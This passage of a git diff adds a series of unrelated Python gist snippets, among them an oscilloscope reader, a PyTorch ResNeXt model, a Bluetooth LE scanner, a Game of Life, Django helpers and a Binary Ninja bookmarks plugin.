+		#	hex(getWord(b,o+4*8))+" "+hex(getWord(b,o+4*9))+" "+hex(getWord(b,o+4*10))+" ")
+		parseTexture(b, textureDataOffset, textureDataSize, textureDataWidth, textureDataHeight, textureDataFormat)
+
+
+srcfn=sys.argv[1]
+
+srcdata=bytearray(open(srcfn, 'rb').read())
+
+for i in range(int(len(srcdata)/4)):
+	#scan for SOBJ
+	if getWord(srcdata, i*4)==0x4A424F53:
+		parseSOBJ(srcdata,i*4)
+	# #scan for TXOB
+	if getWord(srcdata, i*4)==0x424F5854:
+		parseTXOB(srcdata,i*4)
+
diff --git a/hard-gists/880901/._snippet.py b/hard-gists/880901/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/880901/._snippet.py differ
diff --git a/hard-gists/880901/snippet.py b/hard-gists/880901/snippet.py
new file mode 100644
index 00000000..3119ebdf
--- /dev/null
+++ b/hard-gists/880901/snippet.py
@@ -0,0 +1,24 @@
+from django.db.models.signals import post_syncdb
+from django.contrib.contenttypes.models import ContentType
+from django.contrib.auth.models import Permission
+
+def add_view_permissions(sender, **kwargs):
+    """
+    This syncdb hooks takes care of adding a view permission too all our 
+    content types.
+    """
+    # for each of our content types
+    for content_type in ContentType.objects.all():
+        # build our permission slug
+        codename = "view_%s" % content_type.model
+
+        # if it doesn't exist..
+        if not Permission.objects.filter(content_type=content_type, codename=codename):
+            # add it
+            Permission.objects.create(content_type=content_type,
+                                      codename=codename,
+                                      name="Can view %s" % content_type.name)
+            print "Added view permission for %s" % content_type.name
+
+# check for all our view permissions after a syncdb
+post_syncdb.connect(add_view_permissions)
diff --git a/hard-gists/8814190/._snippet.py b/hard-gists/8814190/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8814190/._snippet.py differ
diff --git a/hard-gists/8814190/snippet.py b/hard-gists/8814190/snippet.py
new file mode 100644
index 00000000..4864510c
--- /dev/null
+++ b/hard-gists/8814190/snippet.py
@@ -0,0 +1,117 @@
+# Read from Rigol DS1000 scope
+# version 1 
+# 2013-12-27
+
+import visa
+import os, serial
+import numpy as np
+import pylab as plt
+import time
+
+class Scope:
+    def __init__(self,address,timeOut=40,chunkSize=1024000):
+        self.device = visa.instrument(address,timeout=timeOut,chunk_size=chunkSize)
+        self.id = self.device.ask("*idn?")
+        self.device.write(":key:lock disable")      # Allows the panel keys on the scope to be used
+        self.device.write(":acquire:type normal")
+        self.device.write(":acquire:memdepth long")
+        self.device.write(":acquire:mode EQUAL_TIME")
+        #self.device.write(":acquire:averages 16\n")
+
+    def fastGet(self,channelNumber=1,verbose=False):
+        voltscale = self.device.ask_for_values(":CHAN"+`channelNumber`+":SCAL?")[0]
+        voltoffset = self.device.ask_for_values(":CHAN"+`channelNumber`+":OFFS?")[0]
+
+        if verbose: 
+            print "Voltage scale = ", voltscale, "Voltage offset = ", voltoffset
+
+        samplingrate = self.device.ask_for_values(':ACQ:SAMP? CHANNEL'+`channelNumber`)[0]
+        timePerDiv = self.device.ask_for_values(':TIM:SCAL? CHANNEL'+`channelNumber`)[0]
+        
+        rawdata = self.device.ask(":WAV:DATA? CHAN"+`channelNumber`)[10:]
+        data_size = len(rawdata)
+        
+        if verbose: print 'Data size = ', data_size, "Sample rate = ", samplingrate
+        
+        data = np.frombuffer(rawdata, 'B')
+
+        V = (240-data) * voltscale/25. - (voltoffset + voltscale*4.6)
+        dt = timePerDiv/50.
+        t = np.arange(0,len(V)*dt,dt)
+
+        np.arange(len(data)) * 1./samplingrate
+
+        if verbose: print data  
+        return t, V
+
+
+    def getWaveform(self,channelNumber=1,verbose=True):
+        """Acquire 1 M samples from channel"""
+        # Flush buffer
+        self.device.write(":ACQ:MEMD LONG")
+        self.device.write(":STOP")       
+        self.device.write(":RUN")
+        time.sleep(5)
+        self.device.write(":STOP") 
+        time.sleep(2)
+        self.device.write(":STOP")       
+        
+        self.device.write(":WAVEFORM:POINTS:MODE RAW")
+                
+        voltscale = self.device.ask_for_values(":CHAN"+`channelNumber`+":SCAL?")[0]
+        voltoffset = self.device.ask_for_values(":CHAN"+`channelNumber`+":OFFS?")[0]
+
+        if verbose: 
+            print "Voltage scale = ", voltscale, "Voltage offset = ", voltoffset
+        
+        samplingrate = self.device.ask_for_values(':ACQ:SAMP? CHANNEL'+`channelNumber`)[0]
+        rawdata = self.device.ask(":WAV:DATA? CHAN"+`channelNumber`)[10:]
+        data_size = len(rawdata)
+        
+        if verbose: 
+            print 'Data size = ', data_size, "Sample rate = ", samplingrate
+        
+        data = np.frombuffer(rawdata, 'B')
+        V = (240-data) * voltscale/25 - (voltoffset + voltscale*4.6)
+
+        t = np.arange(len(data)) * 1./samplingrate
+
+        if verbose: print data  
+        return t, V
+        
+
+    def recordAverages(self):
+        """Log the average voltages"""
+        
+        V1,V2 = np.array([]), np.array([])
+        V = np.array([])
+        t = np.array([])
+
+        t0 = time.time()
+        ti = time.time()
+        tAcq = 2*3600                           # seconds
+
+        while ti < (t0 + tAcq):
+            try:
+                self.device.write(":MEASURE:VAVERAGE? CH1")
+                dataString = self.device.read()
+                ti = time.time()
+                Vi = float(dataString[:-1])
+                time.sleep(1)
+            except KeyboardInterrupt:
+                print "Acquisition stopped."
+                break
+
+            print ti,Vi
+
+            V = np.concatenate( (V,[Vi]) )
+            t = np.concatenate( (t,[ti]) )
+
+            if len(t)%100 == 0: I = V/1e6
+            DataOut = np.column_stack( (t,I) )
+            fileName = date.today().strftime("%y%m%d")+"-beamCurrent"+".log"
+            np.savetxt(fileName,DataOut)
+    
+    def close(self):
+        self.device.write("KEY:FORCE")
+        self.device.close()
\ No newline at end of file
diff --git a/hard-gists/8818209/._snippet.py b/hard-gists/8818209/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8818209/._snippet.py differ
diff --git a/hard-gists/8818209/snippet.py b/hard-gists/8818209/snippet.py
new file mode 100644
index 00000000..f5d7f205
--- /dev/null
+++ b/hard-gists/8818209/snippet.py
@@ -0,0 +1,40 @@
+# ClojureHelpers.py for Sublime Text 3
+# originally by James MacCaulley
+# https://gist.github.com/jamesmacaulay/5457344
+
+import re
+import sublime
+import sublime_plugin
+import SublimeREPL.sublimerepl
+import SublimeREPL.text_transfer
+
+class RefreshNamespacesInReplCommand(SublimeREPL.text_transfer.ReplTransferCurrent):
+  def run(self, edit):
+    text = "(clojure.tools.namespace.repl/refresh)"
+    self.view.window().run_command("repl_send", {"external_id": self.repl_external_id(), "text": text})
+
+class SwitchToCurrentNamespaceInReplCommand(SublimeREPL.text_transfer.ReplTransferCurrent):
+  def run(self, edit):
+    if SublimeREPL.sublimerepl.manager.repl_view(self.view):
+      return
+    ns = re.sub("ns\s*", "", self.view.substr(self.view.find("ns\s*\S+",0)))
+    text = "(in-ns '" + ns + ")"
+    self.view.window().run_command("repl_send", {"external_id": self.repl_external_id(), "text": text})
+
+class RunAllClojureTestsFromProjectInReplCommand(SublimeREPL.text_transfer.ReplTransferCurrent):
+  def run(self, edit):
+    form = "(do (clojure.tools.namespace.repl/refresh) (apply clojure.test/run-tests (clojure.tools.namespace.find/find-namespaces-in-dir (clojure.java.io/file \"test\"))))"
+    self.view.window().run_command("refresh_namespaces_in_repl")
+    self.view.window().run_command("repl_send", {"external_id": self.repl_external_id(), "text": form})
+
+class RunClojureTestsFromCurrentNamespaceInReplCommand(SublimeREPL.text_transfer.ReplTransferCurrent):
+  def run(self, edit):
+    if SublimeREPL.sublimerepl.manager.repl_view(self.view):
+      return
+    ns = re.sub("ns\s*", "", self.view.substr(self.view.find("ns\s*\S+",0)))
+
+    default_test_ns = re.sub("(.*)(?<!-test)\\Z","\\1-test", ns, 1)
+    alt_style_test_ns = re.sub("\A([^\\.]*\\.)(?!test)","\\1test.", ns, 1)
+    form = "(try (clojure.test/run-tests '" + default_test_ns + ")\n  (catch Exception e\n    (clojure.test/run-tests '" + alt_style_test_ns + ")))"
+    self.view.window().run_command("refresh_namespaces_in_repl")
+    self.view.window().run_command("repl_send", {"external_id": self.repl_external_id(), "text": form})
diff --git a/hard-gists/881cd3e0f8836121226a04efb9e2ae18/._snippet.py b/hard-gists/881cd3e0f8836121226a04efb9e2ae18/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/881cd3e0f8836121226a04efb9e2ae18/._snippet.py differ
diff --git a/hard-gists/881cd3e0f8836121226a04efb9e2ae18/snippet.py b/hard-gists/881cd3e0f8836121226a04efb9e2ae18/snippet.py
new file mode 100644
index 00000000..1168b8ae
--- /dev/null
+++ b/hard-gists/881cd3e0f8836121226a04efb9e2ae18/snippet.py
@@ -0,0 +1,154 @@
+import torch
+from torch.autograd import Variable
+import torch.nn as nn
+
+
+class Bottleneck(nn.Module):
+    cardinality = 32  # the size of the set of transformations
+
+    def __init__(self, nb_channels_in, nb_channels, nb_channels_out, stride=1):
+        super().__init__()
+
+        self.conv1 = nn.Conv2d(nb_channels_in, nb_channels, kernel_size=1)
+        self.bn1 = nn.BatchNorm2d(nb_channels)
+        self.relu = nn.ReLU(inplace=True)
+
+        self.conv2 = nn.Conv2d(nb_channels, nb_channels, kernel_size=3, stride=stride, padding=1, groups=self.cardinality)
+        self.bn2 = nn.BatchNorm2d(nb_channels)
+
+        self.conv3 = nn.Conv2d(nb_channels, nb_channels_out, kernel_size=1)
+        self.bn3 = nn.BatchNorm2d(nb_channels_out)
+
+        if nb_channels_in != nb_channels_out or stride != 1:
+            self.project = nn.Conv2d(nb_channels_in, nb_channels_out, kernel_size=1, stride=stride)
+        else:
+            self.project = None
+
+    def forward(self, x):
+        residual = x
+
+        out = self.conv1(x)
+        out = self.bn1(out)
+        out = self.relu(out)
+
+        out = self.conv2(out)
+        out = self.bn2(out)
+        out = self.relu(out)
+
+        out = self.conv3(out)
+        out = self.bn3(out)
+
+        if callable(self.project):
+            residual = self.project(residual)
+
+        out += residual
+        out = self.relu(out)
+
+        return out
+
+
+class ResNeXt(nn.Module):
+    def __init__(self):
+        super().__init__()
+
+        # conv1
+        self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3)
+        self.bn1 = nn.BatchNorm2d(64)
+        self.relu = nn.ReLU(inplace=True)
+
+        # conv2
+        self.max_pool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
+
+        conv2 = []
+        for i in range(2):
+            nb_channels_in = 64 if i == 0 else 256
+            conv2.append(Bottleneck(nb_channels_in, 128, 256))
+
+        self.conv2 = nn.Sequential(*conv2)
+
+        # conv3
+        conv3 = []
+        for i in range(2):
+            if i == 0:
+                nb_channels_in = 256
+                stride = 2
+            else:
+                nb_channels_in = 512
+                stride = 1
+
+            conv3.append(Bottleneck(nb_channels_in, 256, 512, stride=stride))
+
+        self.conv3 = nn.Sequential(*conv3)
+
+        # conv4
+        conv4 = []
+        for i in range(2):
+            if i == 0:
+                nb_channels_in = 512
+                stride = 2
+            else:
+                nb_channels_in = 1024
+                stride = 1
+
+            conv4.append(Bottleneck(nb_channels_in, 512, 1024, stride=stride))
+
+        self.conv4 = nn.Sequential(*conv4)
+
+        # conv5
+        conv5 = []
+        for i in range(2):
+            if i == 0:
+                nb_channels_in = 1024
+                stride = 2
+            else:
+                nb_channels_in = 2048
+                stride = 1
+
+            conv5.append(Bottleneck(nb_channels_in, 1024, 2048, stride=stride))
+
+        self.conv5 = nn.Sequential(*conv5)
+
+        self.avg_pool = nn.AvgPool2d(7)
+        self.fc = nn.Linear(2048, 10)
+
+    def forward(self, x):
+        # conv1
+        x = self.conv1(x)
+        x = self.bn1(x)
+        x = self.relu(x)
+
+        # conv2
+        x = self.max_pool(x)
+        for block in self.conv2:
+            x = block(x)
+
+        # conv3
+        for block in self.conv3:
+            x = block(x)
+
+        # conv4
+        for block in self.conv4:
+            x = block(x)
+
+        # conv5
+        for block in self.conv5:
+            x = block(x)
+
+        x = self.avg_pool(x)
+        x = x.view(x.size(0), -1)
+        x = self.fc(x)
+
+        return x
+
+
+def main():
+    model = ResNeXt()
+    print(model)
+
+    inputs = torch.randn(1, 3, 224, 224)
+    y = model.forward(Variable(inputs))
+    print(y)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/8831412/._snippet.py b/hard-gists/8831412/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8831412/._snippet.py differ
diff --git a/hard-gists/8831412/snippet.py b/hard-gists/8831412/snippet.py
new file mode 100644
index 00000000..1b64d6cd
--- /dev/null
+++ b/hard-gists/8831412/snippet.py
@@ -0,0 +1,88 @@
+from pyobjus import autoclass, protocol
+from pyobjus.dylib_manager import load_framework, INCLUDE
+
+(CBCentralManagerStateUnknown,
+ CBCentralManagerStateResetting,
+ CBCentralManagerStateUnsupported,
+ CBCentralManagerStateUnauthorized,
+ CBCentralManagerStatePoweredOff,
+ CBCentralManagerStatePoweredOn) = range(6)
+
+
+class Ble(object):
+
+    @protocol('CBCentralManagerDelegate')
+    def centralManagerDidUpdateState_(self, central):
+        print 'central state', central.state
+        self.check_le(central)
+        self.start_scan()
+
+    @protocol('CBCentralManagerDelegate')
+    def centralManager_didDiscoverPeripheral_advertisementData_RSSI_(
+            self, central, peripheral, data, rssi):
+        print 'centralManager:didDiscoverPeripheral:advertisementData:RSSI:'
+        uuid = peripheral.identifier.UUIDString().cString()
+        if peripheral.name:
+            print '-> name=', peripheral.name.cString()
+        print '=>', rssi
+
+        self.peripherals[uuid] = (peripheral, rssi)
+
+
+    def check_le(self, central):
+        state = central.state
+        if state == CBCentralManagerStateUnknown:
+            print 'CentralManager: Unknown state'
+        elif state == CBCentralManagerStatePoweredOn:
+            print 'CentralManager: Ready to go!'
+            return True
+        elif state == CBCentralManagerStatePoweredOff:
+            print 'CentralManager: Bluetooth is powered off'
+        elif state == CBCentralManagerStateUnauthorized:
+            print 'CentralManager: The application is not authorized to use BLE'
+        elif state == CBCentralManagerStateUnsupported:
+            print 'CentralManager: This hardware doesnt support BLE'
+
+    def create(self):
+        self.peripherals = {}
+        load_framework(INCLUDE.IOBluetooth)
+        CBCentralManager = autoclass('CBCentralManager')
+        self.central = CBCentralManager.alloc().initWithDelegate_queue_(
+                self, None)
+
+    def start_scan(self):
+        print 'Scanning started'
+        self.central.scanForPeripheralsWithServices_options_(None, None)
+
+
+if __name__ == '__main__':
+
+    from kivy.app import App
+    from kivy.uix.listview import ListView
+    from kivy.clock import Clock
+
+    class BleApp(App):
+        def build(self):
+            self.ble = Ble()
+            self.ble.create()
+            Clock.schedule_interval(self.update_peripherals, 1)
+            return ListView()
+
+        def update_peripherals(self, *args):
+            items = []
+            for uuid, infos in self.ble.peripherals.items():
+                peripheral, rssi = infos
+                states = ('Disconnected', 'Connecting', 'Connected')
+                state = states[peripheral.state]
+                name = ''
+                if peripheral.name:
+                    name = peripheral.name.cString()
+                desc = '{} | State={} | Name={} | RSSI={}db'.format(
+                    uuid,
+                    state,
+                    name,
+                    peripheral.readRSSI() if state == 'Connected' else rssi)
+                items += [desc]
+            self.root.item_strings = items
+
+    BleApp().run()
diff --git a/hard-gists/8832970/._snippet.py b/hard-gists/8832970/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8832970/._snippet.py differ
diff --git a/hard-gists/8832970/snippet.py b/hard-gists/8832970/snippet.py
new file mode 100644
index 00000000..38c89bf2
--- /dev/null
+++ b/hard-gists/8832970/snippet.py
@@ -0,0 +1,142 @@
+# -*- coding: utf-8 -*-
+# Conway's game of life.
+# Touch cells to give them life.
+# Tap screen with two fingers to pause/un-pause.
+# Tap screen with three fingers to give life to random cells.
+
+from scene import *
+from PIL import Image, ImageDraw
+import random
+
+class Cell (object):
+	def __init__(self, x, y, frame):
+		self.frame = frame
+		self.pos = (x, y)
+		self.alive = 0
+		self.neighbors = []
+		self.background = Color(0,0,0)
+	
+	def update(self, b=None):
+		if b is not None:
+			self.alive = b
+		self.background = Color(1,1,1) if self.alive else Color(0,0,0)
+		
+	def living_neighbors(self):
+		return [c for c in self.neighbors if c.alive]
+		
+	def draw(self):
+		fill(*self.background)
+		rect(*self.frame)
+
+
+class Grid (object):
+	def __init__(self, w, h):
+		self.size = Size(w, h)
+		w, h = (screen.w/w, screen.h/h)
+		self.cells = {(x, y):Cell(x, y, Rect(x*w, y*h, w, h)) for x in xrange(self.size.w) for y in xrange(self.size.h)}
+		for c in self.cells.values():
+			self.adjacent_cells(c)
+
+		grid_img = Image.new('RGBA', [int(i) for i in screen.as_tuple()])
+		grid_draw = ImageDraw.Draw(grid_img)
+		for x in xrange(self.size.w): grid_draw.line((x*w, 0, x*w, screen.h))
+		for y in xrange(self.size.h): grid_draw.line((0, y*h, screen.w, y*h))
+		self.grid_img = load_pil_image(grid_img)
+		del grid_img, grid_draw
+		
+	def __iter__(self):
+		return iter(sorted(self.cells.keys()))
+		
+	def __getitem__(self, key):
+		return self.cells[key]
+		
+	def itervalues(self):
+		return iter(self.cells.values())
+		
+	def create_life(self, pos_list=None):
+		if pos_list is None:
+			w, h = self.size
+			for i in xrange(int((w*h)**0.5)*2):
+				self.cells[(random.randint(0,w-1), random.randint(0,h-1))].update(1)
+		else: 
+			for p in pos_list:
+				self.cells[p].update(1)
+				
+	def living_cells(self):
+		return [c for c in self.cells.values() if c.alive]
+		
+	def dead_cells(self):
+		return [c for c in self.cells.values() if not c.alive]
+			
+	def adjacent_cells(self, cell):
+		w, h = self.size
+		cx, cy = cell.pos
+		for y in (-1,0,1):
+			for x in (-1,0,1):
+				nx = cx+x
+				ny = cy+y
+				if x == y == 0:
+					continue
+				if nx>=0 and nx<w and ny>=0 and ny<h:
+					cell.neighbors.append(self[(nx, ny)])
+					
+	def update(self):
+		kill = []
+		life = []
+		
+		for cell in self.dead_cells():
+			if len(cell.living_neighbors()) == 3:
+				life.append(cell)
+		for cell in self.living_cells():
+			if len(cell.living_neighbors()) < 2:
+				kill.append(cell)
+			elif len(cell.living_neighbors()) > 3:
+				kill.append(cell)
+			else:
+				life.append(cell)
+				
+		for k in kill:
+			self.cells[k.pos].update(0)
+		for l in life:
+			self.cells[l.pos].update(1)
+			
+	def draw(self):
+		stroke(1,1,1)
+		stroke_weight(1)
+		image(self.grid_img, 0, 0)
+
+
+class MyScene (Scene):
+	def setup(self):
+		global screen
+		screen = self.size
+		self.paused = True
+		self.grid = Grid(50, 35)
+		for c in self.grid.itervalues():
+			c.update()
+		
+	def draw(self):
+		background(0,0,0)
+		for c in self.grid.living_cells():
+			c.draw()
+		self.grid.draw()
+		if not self.paused:
+			if len(self.grid.living_cells()) == 0:
+				self.paused = True
+			if self.grid.living_cells() > 0:
+				self.grid.update()
+				
+		for touch in self.touches.values():
+			if len(self.touches) == 1:
+				for cell in self.grid.itervalues():
+					if touch.location in cell.frame:
+						cell.update(1)
+				
+	def touch_began(self, touch):
+		if len(self.touches) > 1:
+			self.paused = True if not self.paused else False
+			if len(self.touches) == 3:
+				self.grid.create_life()
+			
+		
+run(MyScene())
diff --git a/hard-gists/8838751/._snippet.py b/hard-gists/8838751/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8838751/._snippet.py differ
diff --git a/hard-gists/8838751/snippet.py b/hard-gists/8838751/snippet.py
new file mode 100644
index 00000000..f78bedf2
--- /dev/null
+++ b/hard-gists/8838751/snippet.py
@@ -0,0 +1,16 @@
+# Shows the location of the last photo in the canera roll in the Maps app.
+# (thanks to @HyShai for pointing out that the latitude/longitude refs are necessary)
+
+import photos
+import webbrowser
+
+meta = photos.get_metadata(-1)
+gps = meta.get('{GPS}')
+if gps:
+	latitude = str(gps.get('Latitude', 0.0)) + gps.get('LatitudeRef', '')
+	longitude =str(gps.get('Longitude', 0.0)) + gps.get('LongitudeRef', '')
+	maps_url = 'safari-http://maps.apple.com/?ll=%f,%f' % (latitude, longitude)
+	webbrowser.open(maps_url)
+else:
+	print 'Last photo has no location metadata.'
+
diff --git a/hard-gists/883b3b4a51b0db7d0e0d/._snippet.py b/hard-gists/883b3b4a51b0db7d0e0d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/883b3b4a51b0db7d0e0d/._snippet.py differ
diff --git a/hard-gists/883b3b4a51b0db7d0e0d/snippet.py b/hard-gists/883b3b4a51b0db7d0e0d/snippet.py
new file mode 100644
index 00000000..9f2a60e4
--- /dev/null
+++ b/hard-gists/883b3b4a51b0db7d0e0d/snippet.py
@@ -0,0 +1,45 @@
+#!/usr/bin/env python                                           
+                                                                
+import apscheduler.scheduler                                    
+import daemon.runner                                            
+import os.path                                                  
+import sys                                                      
+import time                                                     
+                                                                
+class Core():                                                   
+    def __init__(self):                                         
+        """Daemon behaviour"""                                  
+        self.stdin_path      = '/dev/null'                      
+        self.stdout_path     = '/dev/tty'                       
+        self.stderr_path     = '/dev/tty'                       
+        self.pidfile_path    = os.path.realpath('core.pid')     
+        self.pidfile_timeout = 5                                
+        self.sched           = apscheduler.scheduler.Scheduler()
+        self.sched.standalone = True                            
+                                                                
+    def run(self):                                              
+        """Main daemon loop"""                                  
+        try:                                                                                                     
+            @self.sched.interval_schedule(seconds=5)            
+            def running():                                      
+                print "Running..."
+                
+            self.sched.start()  
+                                                                
+        except:                                                 
+            self.sched.shutdown()                               
+            print "Unexpected error:", sys.exc_info()           
+            sys.exit(1)                                         
+                                                                
+if __name__ == "__main__":                                      
+    if len(sys.argv) == 2:                                      
+        core   = Core()                                         
+        runner = daemon.runner.DaemonRunner(core)               
+                                                                
+        runner.do_action() # start|stop|restart as sys.argv[1]  
+    else:                                                       
+        print "Usage: %s start|stop|restart" % sys.argv[0]      
+        sys.exit(1)                                             
+else:                                                           
+    print "Core daemon can't be included in another program."   
+    sys.exit(1)
\ No newline at end of file
diff --git a/hard-gists/8846206/._snippet.py b/hard-gists/8846206/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8846206/._snippet.py differ
diff --git a/hard-gists/8846206/snippet.py b/hard-gists/8846206/snippet.py
new file mode 100644
index 00000000..19c9144f
--- /dev/null
+++ b/hard-gists/8846206/snippet.py
@@ -0,0 +1,21 @@
+# Serrano, Boguna, Vespigani backbone extractor
+# from http://www.pnas.org/content/106/16/6483.abstract
+# Thanks to Michael Conover and Qian Zhang at Indiana with help on earlier versions
+# Thanks to Clay Davis for pointing out an error
+
+import networkx as nx
+import numpy as np
+from scipy import integrate
+
+def extract_backbone(g, alpha):
+  backbone_graph = nx.Graph()
+  for node in g:
+      k_n = len(g[node])
+      if k_n > 1:
+          sum_w = sum( g[node][neighbor]['weight'] for neighbor in g[node] )
+          for neighbor in g[node]:
+              edgeWeight = g[node][neighbor]['weight']
+              pij = float(edgeWeight)/sum_w
+              if (1-pij)**(k_n-1) < alpha: # equation 2
+                  backbone_graph.add_edge( node,neighbor, weight = edgeWeight)
+  return backbone_graph
\ No newline at end of file
diff --git a/hard-gists/8851078/._snippet.py b/hard-gists/8851078/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8851078/._snippet.py differ
diff --git a/hard-gists/8851078/snippet.py b/hard-gists/8851078/snippet.py
new file mode 100644
index 00000000..ac369b22
--- /dev/null
+++ b/hard-gists/8851078/snippet.py
@@ -0,0 +1,25 @@
+"""
+Unit testing Kivy is easy, but requires a little boiler plate to keep the
+window quiet while you test your code.  This is one way to set up py.test, 
+but the same technique can probably be used with other test runners as well.
+
+More information on how these py.test hooks work:
+http://pytest.org/latest/plugins.html#generic-runtest-hooks
+"""
+import mock
+
+from kivy.base import EventLoopBase
+
+
+def pytest_runtest_setup(item):
+    item.mock_patches = [
+        mock.patch('kivy.uix.widget.Builder'),
+        mock.patch.object(EventLoopBase, 'ensure_window', lambda x: None),
+    ]
+    for patch in item.mock_patches:
+        patch.start()
+
+
+def pytest_runtest_teardown(item, nextitem):
+    for patch in item.mock_patches:
+        patch.stop()
\ No newline at end of file
diff --git a/hard-gists/885932/._snippet.py b/hard-gists/885932/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/885932/._snippet.py differ
diff --git a/hard-gists/885932/snippet.py b/hard-gists/885932/snippet.py
new file mode 100644
index 00000000..416c73e8
--- /dev/null
+++ b/hard-gists/885932/snippet.py
@@ -0,0 +1,78 @@
+from django.conf import settings
+from django.conf.urls.defaults import include, patterns
+from django.http import HttpResponse
+from django.utils.encoding import smart_unicode
+
+if 'debug_toolbar' not in settings.INSTALLED_APPS:
+    class DebugMiddleware(object):
+        pass
+else:
+    import debug_toolbar.urls
+    from debug_toolbar.middleware import DebugToolbarMiddleware, replace_insensitive
+    from debug_toolbar.toolbar.loader import DebugToolbar
+
+    class DebugMiddleware(DebugToolbarMiddleware):
+        def _show_toolbar(self, request):
+            if '_debug' not in request.GET:
+                return False
+            if not self._process_urls(request):
+                return False
+            return True
+
+        def _process_urls(self, request):
+            # Modify this to fit your own internal logic
+            if not ((request.user.is_authenticated() and request.user.is_superuser) or settings.DEBUG):
+                return False
+            if (request.is_ajax() and not debug_toolbar.urls._PREFIX in request.path):
+                return False
+            return True
+        
+        def process_request(self, request):
+            if self._process_urls(request):
+
+                if self.override_url:
+                    original_urlconf = getattr(request, 'urlconf', settings.ROOT_URLCONF)
+                    debug_toolbar.urls.urlpatterns += patterns('',
+                        ('', include(original_urlconf)),
+                    )
+                    self.override_url = False
+                request.urlconf = 'debug_toolbar.urls'
+                toolbar = DebugToolbar(request)
+
+                toolbar.orig_DEBUG = settings.DEBUG
+                settings.DEBUG = True
+
+                for panel in toolbar.panels:
+                    panel.process_request(request)
+                
+                self.debug_toolbars[request] = toolbar
+
+        def process_response(self, request, response):
+            toolbar = self.debug_toolbars.get(request)
+            if not toolbar:
+                return response
+
+            settings.DEBUG = toolbar.orig_DEBUG
+
+            if not self._show_toolbar(request):
+                return response
+
+            response = HttpResponse('''<html><head></head><body></body><script type="text/javascript">djdt.ready(function(d){
+                var $ = d.jQuery;
+                d.show_toolbar(false);
+                $($("#djDebugPanelList .djDebugPanelButton a")[0]).click();
+            });</script></html>''')
+
+            for panel in toolbar.panels:
+                panel.process_response(request, response)
+
+            response.content = replace_insensitive(
+                smart_unicode(response.content), 
+                self.tag,
+                smart_unicode(toolbar.render_toolbar() + self.tag))
+
+            if response.get('Content-Length', None):
+                response['Content-Length'] = len(response.content)
+
+            del self.debug_toolbars[request]
+            return response
\ No newline at end of file
diff --git a/hard-gists/8866ff9fd30930c85779c821f277cf58/._snippet.py b/hard-gists/8866ff9fd30930c85779c821f277cf58/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8866ff9fd30930c85779c821f277cf58/._snippet.py differ
diff --git a/hard-gists/8866ff9fd30930c85779c821f277cf58/snippet.py b/hard-gists/8866ff9fd30930c85779c821f277cf58/snippet.py
new file mode 100644
index 00000000..ecb65f5a
--- /dev/null
+++ b/hard-gists/8866ff9fd30930c85779c821f277cf58/snippet.py
@@ -0,0 +1,127 @@
+'''
+bookmarks.py - Create/List bookmarks in Binary Ninja
+
+Copyright (c) 2016 Josh Watson
+
+Permission is hereby granted, free of charge, to any person obtaining a
+copy of this software and associated documentation files (the "Software"),
+to deal in the Software without restriction, including without limitation
+the rights to use, copy, modify, merge, publish, distribute, sublicense,
+and/or sell copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+'''
+from collections import OrderedDict
+import pickle
+import os
+
+import binaryninja as bn
+
+def create_bookmark(view, address):
+    if not view.file.data.get('bookmarks'):
+        view.file.data['bookmarks'] = OrderedDict()
+
+    bookmarks = view.file.data['bookmarks']
+
+    bookmark_name = bn.get_text_line_input(
+        "Create new bookmark", "Enter bookmark name:"
+    )
+    if bookmark_name:
+        bookmarks[address] = bookmark_name
+
+def goto_bookmark(view):
+    if not view.file.data.get('bookmarks'):
+        view.file.data['bookmarks'] = OrderedDict()
+
+    bookmarks = view.file.data['bookmarks']
+
+    if not bookmarks:
+        bn.show_message_box(
+            'Bookmark error', 'There are no bookmarks yet.',
+            icon=bn.core.ErrorIcon
+        )
+        return
+
+    chosen_bookmark = bn.get_choice_input(
+        'Go to bookmark', 'Bookmarks:',
+        ['0x{:x} {}'.format(addr, bookmark)
+         for addr, bookmark in bookmarks.iteritems()]
+    )
+
+    if chosen_bookmark is not None:
+        navigate_to = bookmarks.keys()[chosen_bookmark]
+
+        view.file.navigate(view.file.view, navigate_to)
+
+def load_bookmarks(view):
+    filename = bn.get_open_filename_input('Load bookmarks', '*.bnbm')
+
+    if filename is None:
+        return
+
+    if view.file.data.get('bookmarks'):
+        overwrite = bn.show_message_box(
+            'Bookmarks exist',
+            'Overwrite existing bookmarks?',
+            buttons=bn.core.YesNoButtonSet)
+
+        if not overwrite:
+            return
+    else:
+        view.file.data['bookmarks'] = OrderedDict()
+
+    try:
+        with open(filename, 'r') as bookmarks_file:
+            view.file.data['bookmarks'].update(pickle.load(bookmarks_file))
+    except ValueError:
